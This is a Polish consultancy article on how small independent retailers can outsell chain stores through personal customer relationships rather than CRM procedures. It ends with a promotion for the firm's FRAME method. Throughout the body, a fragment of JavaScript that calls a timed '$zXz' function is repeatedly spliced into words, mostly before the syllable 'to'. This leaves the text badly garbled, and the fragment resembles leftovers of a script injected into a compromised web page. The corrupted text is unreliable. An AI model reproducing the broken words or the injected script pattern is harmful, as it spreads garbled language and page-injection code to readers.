In Artykuły, Handel, Uniwersalne

To może być skuteczna odpowiedź małych niezależnych sklepów, które walczą z sieciówkami. Nie wygrają z nimi ich kartami, wolumenem, siłą marketingu, skutecznością pozyskiwania dobry, ale drogich i trudnych lokalizacji w centrach handlowych. W starciu na wiedzę i kompetencje detaliczne też będzie trudno. Sieci na ogół też umieją skutecznie zarządzać sprzedażą, więc i tu o wygraną będzie trudniej.

Ale i one mają swój słaby punkt, tak naprawdę dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to uboczny skutek ich siły i sprawności. To procedury. Bez nich nie można być siecią, ale też z nimi zarządzanie relacjami zupełnie nie wychodzi. Przede wszystkim dlatego, że budowania relacji nie da się zau dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatyzować (co z kolei z powodzeniem można i należy zrobić z zarządzaniem sprzedażą). A także dlatego, że już zbudowane relacje trudno przełożyć na dodatkową sprzedaż (choć dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już jest łatwiejsze, niż samo ich zbudowanie, właśnie przez au dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatyzm funkcjonowania magicznej formuły sprzedaży).

Relacje z klientem dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dobry sposób, aby zwiększyć sprzedaż. Nie wymyślono ich jednak wraz z rozwojem systemów CRM…

Uwaga. „znaczenia relacji w sprzedaży nie wymyślono w XXI w.” Tylko dużo wcześniej. Już wtedy kupcy s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowali dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, aby sprzedać więcej i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, tego na czym im zależało. Jednak te relacje niekoniecznie muszą one oznaczać systemu CRM, a już na pewno nie w wersji informatycznej. W starożytności jednym z najbardziej skutecznych nacji handlowych, częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wręcz uznawanych za „ojców” sprzedaży byli Fenicjanie.

Na czym polegała tajemnica ich sukcesu? Pewnie jak zwykle, ojców zwycięstwa było wielu. Jednak na czoło wysuwa się dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że Fenicjanie znani byli właśnie ze skutecznego nawiązywania relacji. Z lokalnym środowiskiem i lokalnymi klientami. Inaczej niż było dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z zarozumiałymi kupcami innych nacji. W swoich zamorskich fak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toriach łatwo uczyli się języków, poznawali lokalne zwyczaje i szanowali lokalne wierzenia. Pozostawali sobą, ale wtapiali się w lokalne społeczności. I sprzedawali, dzięki temu właśnie w dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topieniu sprzedawali więcej niż inni, drożej i skuteczniej.

Oczywiście, sieci o tym wiedzą. I próbują. Wymyśliły CRM czyli proceduralne zarządzanie relacjami z klientami. Inaczej nie mogą, ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to się nie sprawdzi. Gdyż relacje najpierw trzeba zbudować, a potem pielęgnować. A tu do au dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatycznego zarządzania droga daleka.

U podstaw jest zawsze zarządzanie sprzedażą

Żeby jednak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to było możliwe, najpierw trzeba przejść cały proces myślenia o obrotach. Od sprzedaży postrzeganej jako w małym s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topniu zależnej od firmy (może poza wyborem lokalizacji i intensywnym marketingiem) czyli jako zmiennej niezależnej do operacyjnego jej postrzegania w postaci magicznej formuły sprzedaży. Następnym krokiem w rozumieniu procesu zarządzania Modelem firmy handlowej jest świadome zarzadzanie tą formułą. Dopiero w trzecim kroku ewolucji zarządzania Konceptem Sprzedażowym można przejść do budowania, a następnie wykorzystania relacji.

Etapy rozumienia sprzedaży i wykorzystania możliwości Konceptu Sprzedażowego. Czyli od sprzedaży przez zarządzanie nią, do zarządzania relacjami z klientem.

Wykorzystanie relacji dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dopiero ostatni etap zarządzania sprzedażą. I bez zrozumienia oraz zas dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowania poprzednich etapów skończy się niepowodzeniem. To znaczy, relacje oczywiście będą. Ale nie będzie dodatkowej sprzedaży z tego tytułu. Dlatego zacząć trzeba od zrozumienia magicznej formuły sprzedaży.

Magiczna formuła sprzedaży

To przedstawienie sprzedaży jako iloczyn trzech wskaźników, liczby kontaktów, konwersji i średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji.

Jednak prawdziwą war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tością formuły nie jest przedstawienie sprzedaży jako iloczynu mierzalnych parametrów. Tylko ujawnienie związków przyczynowo – skutkowych między zachowaniami a efektami w postaci sprzedaży. Gdyż dzięki temu formułą można sterować. Oczywiście w pewnych granicach, ale na ogół wystarczających, aby zapewnić firmie zwycięstwo. To zaś domena zarządzania magiczną formułą sprzedaży.

Zarządzanie magiczną formułą

Jak można zarządzać formułą? Jest na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wiele sposobów. Można zarządzać przestrzenią ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to np. Visual Merchandising), można ofertą ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zarządzanie kategorią, ale i Grupami Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towymi). Można też nie tyle zarządzać, co zarządzić (gdyż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to operacja jednorazowa) Formatem. Można wreszcie zarządzać pracownikami i klientami, a dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie obszar gdzie relacje bardzo się przydadzą.

Uwaga. „czy zarządzanie formułą musi być świadome?” To kolejny obszar, gdzie można zbudować przewagę w małej placówce. W firmach sieciowych sterowanie formułą musi być świadome, tam trudno liczyć na rozproszoną intuicję i zrozumienie klienta. Tam musi być zasada i regulująca ją procedura. Dopiero taka procedura zapewni wykorzystanie wiedzy o kliencie.

Ale w małym niezależnym sklepie wystarczy intuicja i zrozumienie klienta. Oczywiście, świadomość formuły i reguł, jakie nią rządzą, bardzo się przyda. Ale w niewielkiej pojedynczej placówce, w bezpośrednim kontakcie właściciela (ten ma motywację przewyższającą tę pracownika najemnego) z klientem i bez tego można zarządzać klientem.

Ze względu na zmianę biznesu sprzedażowego na relacyjny można sięgnąć w zarządzaniu formułą znacznie głębiej niż byłoby dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to możliwe bez tego. Czyli można zamienić relacje na sprzedaż. Dodatkową.

Jak zamienić relacje na sprzedaż?

Chodzi oczywiście o dodatkową sprzedaż. Dodatkową w s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosunku do sytuacji, gdy relacjami się nie zarządza, tylko sprzedaje. Nawet sprzedaje wykorzystując możliwości magicznej formuły, ale bez relacji można dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zrobić tylko w ograniczonym zakresie.

Zacząć jednak war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to od podsumowania, czym wykorzystanie relacji nie jest. Przede wszystkim relacje wcale nie oznaczają wysyłania maili z ofertami ani katalogowania wszystkich kontaktów z klientem. Tak, częściowo oznacza dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że firma zna preferencje swojego klienta, ale nie tu jest is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tota relacji.

Rozpoznanie. Zamiana relacji na sprzedaż zawsze zaczyna się od rozpoznawania. Trywialnie mówiąc, od rozpoznawania klienta. Zaraz potem jest jednak rozpoznanie jego potrzeb, ale w szerszym kontekście. Nie wystarczy wiedzieć, po co przyszedł. War dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wiedzieć, dlaczego po dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, i dlaczego akurat tu.

Uwaga. „rola słuchania”. To podstawa rozpoznania, a jednocześnie najtrudniejszy element zarządzania pracownikami. Przecież widzą więcej od klienta, czasem też im się spieszy. Wreszcie w grę wchodzi rutyna, zawsze tak było, więc można od razu pójść na skróty. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wszystko prowadzi do arogancji i mówienia zamiast słuchania. Zaś nikt jeszcze nie wymyślił lepszej me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tody na poznanie klienta, przecież w ludzkiej komunikacji język nadal pełni podstawową rolę.

Nawiązanie. Od słuchania w pewnym memencie trzeba jednak przejść do mówienia. Trzeba oczywiście wiedzieć, w którym momencie i wytrzymać, aż nadejdzie. Ale kiedy już nadejdzie, trzeba wiedzieć, co mówić. I tu nie tyle chodzi o nawiązanie rozmowy (o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to chodziło w punkcie pierwszym), ile o nawiązanie relacji. Jeszcze nie sprzedaż, choć i na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przyjdzie czas, ale na zbudowanie wzajemnego zaufania, emocji i akceptacji. Bo o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie chodzi w relacjach.

Sprzedaż. To jednak ostateczny cel relacji. A nie znajomość. To powinno być jasne dla obu stron, inaczej placówka handlowa zamieni się w miejsce spotkań dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarzyskich. Ale w sprzedaży nie chodzi tylko o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, o czym myśli klient. Rolą zamiany relacji w sprzedaż jest sprzedaż mu tego, o czym wprawdzie nie myśli, ale mógłby. I co spełniłoby jego potrzeby, choć nie zawsze uświadomione. Rolą budowanie relacji jest zrozumienie tych potrzeb, ale i uświadomienie tych ukrytych i nieuświadomionych. A także wzbudzenie tych nie istniejących, ale potencjalnych.

Zarządzanie relacjami

Ono leży pomiędzy zarządzaniem pracownikami a klientami. Zawsze jednak na osi zarządzania magiczną formułą sprzedaży. Bez tego dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tylko sztuka dla sztuki, choć nadal sztuka wysokiego lotu.

Zarządzanie relacjami wpasowuje się pomiędzy zarządzaniem klientami a zarządzeniem pracownikami.

Zarządzanie pracownikami. Kluczowy element nawiązywania relacji. W tym przypadku zarządzanie wydaje się kluczowe. I jednocześnie stanowi słaby punkt firm sieciowych. Gdyż ich sieciowość narzuca pracownikom konkretne i ćwiczone zachowania, podczas gdy w placówkach niezależnych liczy się bardziej efekt. W firmie nie sieciowej, szczególnie takiej, gdzie relacjami zarządza właściciel zawsze można wyznaczyć cel – zaprzyjaźnić się. W firmie sieciowej trzeba być bardziej konkretnym, szczególnie na etapie tworzenia i wymagania procedury.

Zarządzanie klientami. Ważniejsza dla przekształcenia relacji w dodatkową sprzedaż. Inaczej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to manipulacja potrzebami klientów (w tym ich wywoływanie czy modyfikacja), łączenie ich z posiadanymi rozwiązaniami i w ostatecznym rozrachunku z konkretnymi produktami. Tu może być więcej au dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatyzacji niż w zarządzaniu pracownikami. Ale i tu znacznie więcej można wycisnąć z indywidualnego podejścia i chęci pomocy niż z wyreżyserowanego i standardowego podejścia. W ostatecznym rozrachunku relacji nie da się zau dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatyzować.

Au dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatyzacja relacji (?)

Czy relacje można zau dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatyzować? Do tego sprowadza się idea CRM (Cus dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomer Relationship Management). Ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to raczej niezrozumienie is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toty relacji, trochę też wyraz desperacji. Gdyż firmy sieciowe inaczej nie mogą i nie umieją.

Uwaga. „rola procedur”. Firmy sieciowe są sieciowe właśnie dlatego, że s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosują procedury. Firmę, która w każdym miejscu jest inna, trudno nazwać siecią. Zapewnieniu powszechnego panowania tych samych zasad służą procedury, najczęściej spisane zasady, wspierane przez pilnującą tego strukturę organizacyjną.

Procedury ujednolicają zasady.

A zasady ujednolicają sieć. I czynią firmę rozproszoną firmą sieciową. Czy jednak można procedurom poddać relacje? Wiele firm w dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wierzy, a jeszcze inne robią na tym spore pieniądze. Ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to iluzja. Relacji nie buduje się procedurą czy tym bardziej systemem IT. Tylko kontaktem, i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kontaktem ciepłym i zaangażowanym. Tego jednak nie da się zadekre dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować.

Czy można sprocedurować relacje?

Raczej nie, choć wielu próbuje (kupując zaawansowane systemy typu CRM). Można ewentualnie (jeśli rozumie się mechanizm działania magicznej formuły sprzedaży zbudować au dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatyczne zasady przekształcania (już istniejących) relacji w sprzedaż. To przynajmniej możliwe, choć dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyższa szkoła jazdy. Za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie da się sprocedurować ich nawiązywania.

Uwaga. „bariera sieciowości”. Sieciowość (a więc i procedury czy ujednolicone zasady) tworzy poważną barierę dla relacji. To bariera zachowania wg ustalonego standardu. Tymczasem ani klienci, ani sytuacje nie są i nigdy nie będą standardowe. Trzeba więc pozwolić na odstępstwa od reguł, a dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to śmiertelna broń (co firmy rozumieją) dla sieciowości. To tworzy nierozwiązywany problem i barierę sieciowości.

Bariera sieciowości. Bez procedur nie jest się siecią. A z procedurami nie da się nawiązać relacji.

Czy staranne i drobiazgowe zbieranie danych o kliencie (do czego sprowadza się działanie systemu CRM) można nazwać budowaniem relacji? Raczej nie. Ale może się w nie przekształcić? Tym bardziej nie. To raczej naiwna wiara, że jeśli uzbiera się dużo kamieni, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zamek z tych kamieni już sam powstanie. Nie powstanie. Powstanie duża pryzma, ale zamek trzeba dopiero zbudować. Zaplanować, starannie ułożyć kamienie, a wcześniej dopasować do siebie. Sam fakt posiadania dużej liczby głazów na pewno nie wystarczy. Z kamieniami trzeba też mieć bezpośredni związek, nabieranie ich łyżką koparki wprawdzie przerzuci je z miejsca na miejsce, ale zamku nie zbuduje.

Jest jednak miejsce, gdzie brak bezpośredniego kontaktu nie przeszkodzi. To nowe środowisko sprzedaży czyli Internet. Tam bezpośredniego kontaktu i tak nie ma, więc nie będzie czego żałować. Za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to da się zebrać nieograniczoną ilość informacji o każdym, au dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatycznie, i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na poziomie nie tylko skutków, ale i prowadzących do nich działań? Czy jednak oznacza dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że tam CRM jest rozwiązaniem dla relacji? Wcale nie, choć wydaje się, że tam może być inaczej.

Wydaje się, że w Internecie jest inaczej

Przede wszystkim dlatego, że tam można śledzić nie tylko skutki (jak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest w świcie off-line), ale i działania (klientów) które do nich prowadzą. A także rejestracja tych zarówno skutków, jak i zachowań jest prosta. W dodatku jest au dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatyczna, więc nie wymaga złożonego i trudnego operacyjnie zarządzania pracownikami. Wszystko dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wymarzone warunki dla działania systemu typu CRM

Operacyjnie zarządzanie relacjami, jeśli udałoby się je zbudować, także jest tam proste. Przede wszystkim dlatego, że nie ma rozproszonych placówek, a więc i procedur krępujących zachowania pracowników. Zwykle jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tylko jedna scentralizowana organizacja. I nie ma też osobistego kontaktu, tylko bezosobowy i nie emocjonalny kontakt ze stroną WWW. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to

Uwaga. „wyzwania w Internecie”. Internet stawia więc wiele wyzwań operacyjnych, ale akurat procedury i ujednolicone zasady do nich nie należą. Tym samym pada główna bariera dla budowania relacji. Niestety, pojawia się nowa.

E-commerce może skoncentrować się na czynnikach zewnętrznych. To duża wygoda, a po stronie kosztów jest też dużo taniej (utrzymanie spójności organizacji drogo kosztuje).

To stwarza e-commerce zupełnie nowe możliwości – zamiast koncentrować się na utrzymaniu spójności organizacji (co stanowi wyzwanie dla sieci naziemnych), można skupić się na wyzwaniach zewnętrznych. Czy jednak oznacza dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że w Internecie da się przełamać barierę sieciowości w zarządzaniu relacjami? Tej bariery wprawdzie tam faktycznie nie ma, ale za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to natrafia się na inną barierę, barierę osobistego kontaktu.

Uwaga. „bariera osobistego kontaktu”. Relacje można podtrzymywać zdalnie, ale trudno te tak nawiązać. A nawet samo podtrzymywanie długo nie potrwa. To dlatego rozpadają się rodziny, gdy jedna strona mieszka za granicą. I najpierw przyjeżdża, dzwoni i pisze, potem głównie dzwoni i pisze, w końcu tylko pisze. Coraz rzadziej, aż w końcu przestaje.

Ale co z mediami społecznościowymi? Przecież dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przykład zbudowania relacji bez kontaktu osobistego? Tak, ale też jakie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to są relacje. Łatwo się je nawiązuje, ale są częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to płytkie i nietrwałe. W sprzedaży war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość takich relacji jest niska. I trudno przekształcić ją w sprzedaż. To paradoks. W mediach społecznościowych bariera nawiązywania kontaktu jest faktycznie niska, ale war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość handlowa tego kontaktu – jeszcze mniejsza. A w relacjach z klientem firmie handlowej nie chodzi koniec końców o relacje, tylko o dodatkową sprzedaż z tego tytułu.

Podsumowanie

Duży może więcej. Chociażby więcej kupuje, więc ma niższe ceny. Czy jednak zawsze? Obszarem, gdzie mały ma większe szanse jest obszar relacji z klientem. Niezależny sprzedawca potrafi je nawiązać (czego nie należy mylić z zebraniem dużej wiedzy o kliencie). I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jego unikalna przewaga. Potrafi też intuicyjnie (czyli bez świadomego zrozumienia magicznej formuły sprzedaży) przekształcić tę relację w dodatkową sprzedaż. To ostatnie potrafią też firmy sieciowe, ale tylko te, które faktycznie i świadomie zarządzają magiczną formułą.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.